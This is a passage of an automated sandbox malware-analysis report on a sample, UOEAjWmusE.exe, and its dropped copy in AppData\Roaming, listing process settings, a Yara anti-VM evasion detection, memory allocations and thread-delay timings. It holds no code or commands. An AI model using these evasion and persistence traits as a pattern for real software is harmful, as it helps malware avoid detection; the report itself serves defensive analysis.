Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 1060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 72F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 82F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 8470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 9470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 99D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: A9D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: B9D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 1160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 9D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 2490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 4490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 6FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 7FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 8140000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 66B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 9200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: A200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 1110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 599103	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598874	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 598092	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597699	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599616	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598583	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597904	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597138	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Thread delayed: delay time: 596688	Jump to behavior
